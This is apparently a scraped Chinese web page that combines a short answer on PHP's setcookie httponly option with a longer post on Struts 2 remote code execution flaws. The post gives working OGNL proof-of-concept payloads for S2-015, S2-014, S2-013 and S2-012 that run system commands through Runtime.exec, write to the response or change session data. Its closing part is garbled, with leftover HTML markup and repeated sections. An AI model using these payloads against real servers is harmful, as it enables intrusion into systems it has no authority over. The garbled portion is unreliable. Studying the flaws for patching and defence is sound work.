本文目录一览:
php setcookie函数
你的手册应该是过时的了
我的PHP手册中关于第7个参数的解释如下:
httponly
When TRUE the cookie will be made accessible only through the HTTP protocol. This means that the cookie won't be accessible by scripting languages, such as JavaScript. This setting can effectly help to reduce identity theft through XSS attacks (although it is not supported by all browsers). Added in PHP 5.2.0. TRUE or FALSE
可见,只有版本=5.2.0时候才有这个选项。
这个选项的意思是只有发送网页请求是浏览器才会传递cookie到服务器,客户端的JS是不能读取到的。增加了安全性。
参考手册的下载地址:
还有JS、DHTML、MYSQL、APACHE等必备手册
请教翻译
如果你的数字输入只包含数字,SQL注入是不可能的.
如果你不容许在您输入的标记语言的子集,XSS攻击是不可能的.
关于struts 2为什么会有代码执行漏洞的小帖子
Struts结构
把里面的例子在tomcat里部署一下,就可以测试了。简单说一下struts 2的结构。
struts 2的安装是在web.xml里添加这样的一句,将Struts2所带的过滤器org.apache.struts2.dispatcher.FilterDispatcher配置到工程的web.xml文件中,默认情况下,该过滤器拦截请求字符串中以.action结尾的请求,并将该请求委托给指定的Action进行处理
filter
filter-namestruts2/filter-name
filter-classorg.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter/filter-class
/filter
filter-mapping
filter-namestruts2/filter-name
url-pattern/*/url-pattern
/filter-mapping
关于action的定义是在struts.xml中,其中default-action-ref是所有action都捕获不到时的选项。
result type="redirectAction"的作用是捕获到该action重定向到其他页面。
最后include了另外一个XML
package name="default" namespace="/" extends="struts-default"
default-action-ref name="index" /
global-results
result name="error"/error.jsp/result
/global-results
global-exception-mappings
exception-mapping exception="java.lang.Exception" result="error"/
/global-exception-mappings
action name="index"
result type="redirectAction"
param name="actionName"HelloWorld/param
param name="namespace"/example/param
/result
/action
/package
include file="example.xml"/
这个example.xml定义了action的具体实现,最后一个action通配符这里{1}代表了第一个通配符所匹配到的字符串。
package name="example" namespace="/example" extends="default"
action name="HelloWorld" class="example.HelloWorld"
result/example/HelloWorld.jsp/result
/action
action name="Login_*" method="{1}" class="example.Login"
result name="input"/example/Login.jsp/result
result type="redirectAction"Menu/result
/action
action name="*" class="example.ExampleSupport"
result/example/{1}.jsp/result
/action
!-- Add actions here --
/package
OGNL语法
struts使用了OGNL,虽然不知道为什,但是OGNL还是很强大的。
关于它的特性可以看下面的几个页面
Struts近期漏洞
漏洞列表,这里命令执行漏洞的利用方法,多是找到一处可以OGNL解析的地方,POC的构造大同小异
S2-015
官方描述
A vulnerability introduced by wildcard matching mechanism or double evaluation of OGNL Expression allows remote command execution.
触发条件
当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
action name="*" class="example.ExampleSupport"
result/example/{1}.jsp/result
/action
POC
一般来说Struts EXp中allowStaticMethodAccess和xwork.MethodAccessor.denyMethodExecution应该是常客,规定了OGNL中是否可以调用静态变量。
最后的.action是为了让拦截器捕捉,最后进入{1}的是前面的部分
${
%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),
(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()
}.action
如果页面返回像这样,说明执行成功,0是waitFor()返回的值。
HTTP ERROR 404
Problem accessing /struts2-blank/example/0.jsp. Reason:
Not Found
详细原理这里不作分析,因为别人都做好了。其中提到 JavaSnoop的代码审核工具,貌似不错。
S2-014
官方描述
A vulnerability introduced by forcing parameter inclusion in the URL and Anchor Tag allows remote command execution, session access and manipulation and XSS attacks
触发条件
URL标签的includeParams为get或all
s:url id="url" action="HelloWorld" includeParams="all"
Demo里面的情况如下,%{url}是上面定义的URL标签,当includeParams为all时,会把get或post提交的参数添加到自身的param列表中
li
s:url id="url" action="HelloWorld" includeParams="all"
s:param name="request_locale"en/s:param
/s:url
s:a href="%{url}"English/s:a
/li
POC
执行代码
{%23_memberAccess[%22allowStaticMethodAccess%22]=true,@java.lang.Runtime@getRuntime().exec('calc')}
修改Session
{%23session[%22hacked%22]='true'}
不过在执行的时候爆了一个错误,原因不明。
java.lang.ProcessImpl%40e3fda7
S2-013
官方描述
A vulnerability, present in the includeParams attribute of the URL and Anchor Tag, allows remote command execution
触发条件
这个洞和S2-014原理相同,因为官方没修不好而报了两次。
POC
这个可以成功执行
(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
翻译成人类能看懂的,这个利用还是很有意思的
?fakeParam=%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println('hacked'),#writer.close())}
S2-012
官方描述
Showcase app vulnerability allows remote command execution
触发条件需要定义一个 type为redirect的result,从这里可以看出,直接把利用代码贴到${currentSkill.name}这里就可以了
action name="save" class="org.apache.struts2.showcase.action.SkillAction" method="save"
result type="redirect"edit.action?skillName=${currentSkill.name}/result
/action
POC
PRE class=code-java style="PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; MARGIN: 5px 5px 5px 15px; LINE-HEIGHT: 13px; PADDING-RIGHT: 0px" name="code"%{(#_memberAccess['allowStaticMethodAccess']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"true/SPAN)(#context['xwork.MethodAccessor.denyMethodExecution']=SPAN class=code-keyword style="COLOR: rgb(0,0,145)"false/SPAN) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}/PRE
PRE/PRE
H3A name=t8/AS2-011/H3
DIV官方描述,DOS和我关系不大/DIV
DIV sizcache="1" sizset="29"PRE class=html name="code"Long request parameter names might significantly promote the effectiveness of DOS attacks/PREBR
H3A name=t9/AS2-010/H3
/DIV
DIV官方描述/DIV
DIV这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。/DIV
DIV sizcache="1" sizset="30"PRE class=html name="code"When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes/PREBR
BR
/DIV
BR
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
S2-011
官方描述,DOS和我关系不大
Long request parameter names might significantly promote the effectiveness of DOS attacks
S2-010
官方描述
这个是关于令牌的,看来命令执行漏洞是近期才涌现出来的。
div class="dp-highlighter bg_html"
When using Struts 2 token mechanism for CSRF protection, token check may be bypassed by misusing known session attributes